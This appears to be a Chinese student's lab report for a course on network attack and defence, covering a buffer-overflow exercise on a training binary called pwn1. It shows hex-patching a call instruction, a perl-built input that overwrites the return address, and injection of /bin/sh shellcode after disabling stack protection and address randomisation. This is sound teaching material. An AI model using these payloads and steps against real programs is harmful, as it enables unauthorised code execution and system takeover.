2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验
2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验
实验点1:逆向及Bof基础实践
实践任务
用一个pwn1文件。 该程序正常执行流程是:main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路,基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。
基础知识
- NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75) -JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
常用的Linux基本操作
- objdump -d:从objfile中反汇编那些特定指令机器码的section。
- perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
- xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。 -ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
- |:管道,将前者的输出作为后者的输入。
:输入输出重定向符,将前者输出的内容输入到后者中
实验步骤:
- 用 objdump -d pwn1 看其汇编代码(图中是pwn3,做完了写博客截图用)
e8表示“call”,后面的d7 ff ff ff是要跳转的地址,只要改成e3 ff ff ff就会跳到getShell函数(通过偏移量得出)。 - vim pwn1 进入命令模式
- 输入 :%!xxd 将显示模式切换为十六进制
- 在底行模式输入/e8d7定位需要修改的地方,并确认
- 进入插入模式,修改d7为c3
- 输入 :%!xxd -r
- 将十六进制转换为原格式
- 使用 :wq 保存并退出 然后 ./pwn1 运行就可以了
实验点2:自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址
系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址
思路:
- 反汇编pwn1文件找到getShell的地址:0804847d
- 输入参数,使32字节后面内容为地址0804847d对应的数
- 执行文件
步骤
- (已知getshell地址为0804847d,)
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 生成一个input文件,参数已经构造好的
xxd input 可以查看构造的文件.
(cat input; cat) | ./pwn1 命令输入参数
实验点3:注入shellcode并执行(RNS)
- 首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:
- root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/
randomizevaspace //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
0
目标:向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址 步骤:
- 使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。
在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击,回车后不要动这个终端,然后去打开另一个终端。
在第二个终端中
- ps -ef | grep pwn 查看pwn进程号
- 用gdb, attach 11031 去调试这个进程
- disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
- 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
- 用x/16x 0xffffd2ac命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2b0
- 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 再用
(cat input_shellcode;cat) | ./pwn1
命令次执行程序,攻击成功!
2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验的更多相关文章
- 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验
2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...
- 2018-2019-2 20165313《网络对抗技术》Exp1 缓冲区溢出实验
实践涉及指令 NOP:NOP指令即"空指令".执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令.(机器码:90) JNE:条件转移指令, ...
- 2018-2019-2 20165212《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165212<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo ...
- 20155208徐子涵 《网络对抗技术》Web基础
20155208徐子涵 <网络对抗技术>Web基础 实验要求 Web前端HTML Web前端javascipt Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密 ...
- 20145311 王亦徐 《网络对抗技术》 Web基础
20145311 王亦徐 <网络对抗技术> Web基础 实验内容 简单的web前端页面(HTML.CSS等) 简单的web后台数据处理(PHP) Mysql数据库 一个简单的web登陆页面 ...
- 2018-2019-2 20165232 《网络对抗技术》 Exp6 信息搜集与漏洞扫描
2018-2019-2 20165232 <网络对抗技术> Exp6 信息搜集与漏洞扫描 一.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 二.实践内容. 各种搜索技巧的应 D ...
- 2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析
2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析 1.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行. 分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
随机推荐
- Android ble 蓝牙4.0 总结一
本文介绍Android ble 蓝牙4.0,也就是说API level >= 18,且支持蓝牙4.0的手机才可以使用,如果手机系统版本API level < 18,也是用不了蓝牙4.0的哦 ...
- deepin linux学习笔记
目录 deepin linux学习笔记 前言 linux常用命令 ls 显示文件夹内容 cd 切换当前目录 pwd 查看当前工作目录 mkdir 新建文件夹 rm 删除文件或文件夹 mv 移动文件 c ...
- SQL Server一致性错误修复案例总结
今天遇到了一个关于数据库一致性错误的案例.海外工厂的一台SQL Server 2005(9.00.5069.00 Standard Edition)数据库在做DBCC CHECKDB的时候出现了一致性 ...
- 解析SQL Server之任务调度
在前面两篇文章中( 浅谈SQL Server内部运行机制 and 浅谈SQL Server数据内部表现形式 ),我们交流了一些关于SQL Server的一些术语,SQL Sever引擎 与SSMS抽象 ...
- win10 桌面设置为远程桌面
查看方法: 1.点击桌面“计算机”,右键,点击属性. 2.在计算机属性系统窗口中点击“远程设置”. 3.在“系统属性”对话框中远程协助勾选“允许远程协助连接这台计算机”. 4.在“远程协助”点击“高级 ...
- 解决vs2017不能添加引用问题
c# 添加引用时报错:“未能正确加载“ReferenceManagerPackage”包”的解决方法 在添加应用的时候,右键点击“引用”,选择“添加引用”后,会提示“**未能正确加载Reference ...
- java网络爬虫基础学习(一)
刚开始接触java爬虫,在这里是搜索网上做一些理论知识的总结 主要参考文章:gitchat 的java 网络爬虫基础入门,好像要付费,也不贵,感觉内容对新手很友好. 一.爬虫介绍 网络爬虫是一个自动提 ...
- tensorflow的基本认识
版权申明:本文为博主窗户(Colin Cai)原创,欢迎转帖.如要转贴,必须注明原文网址 http://www.cnblogs.com/Colin-Cai/p/10741013.html 作者:窗户 ...
- C#二维码与条形码的生成
二维码 using Gma.QrCodeNet.Encoding;using Gma.QrCodeNet.Encoding.Windows.Render; string str = "Htt ...
- 【P2577】 午餐
题目简述 THU ACM小组一行N个人去食堂吃饭,计划是这样的:先把所有的人分成两队,并安排好每队中各人的排列顺序,然后一号队伍到一号窗口去排队打饭,二号队伍到二号窗口去排队打饭.每个人打完饭后立刻开 ...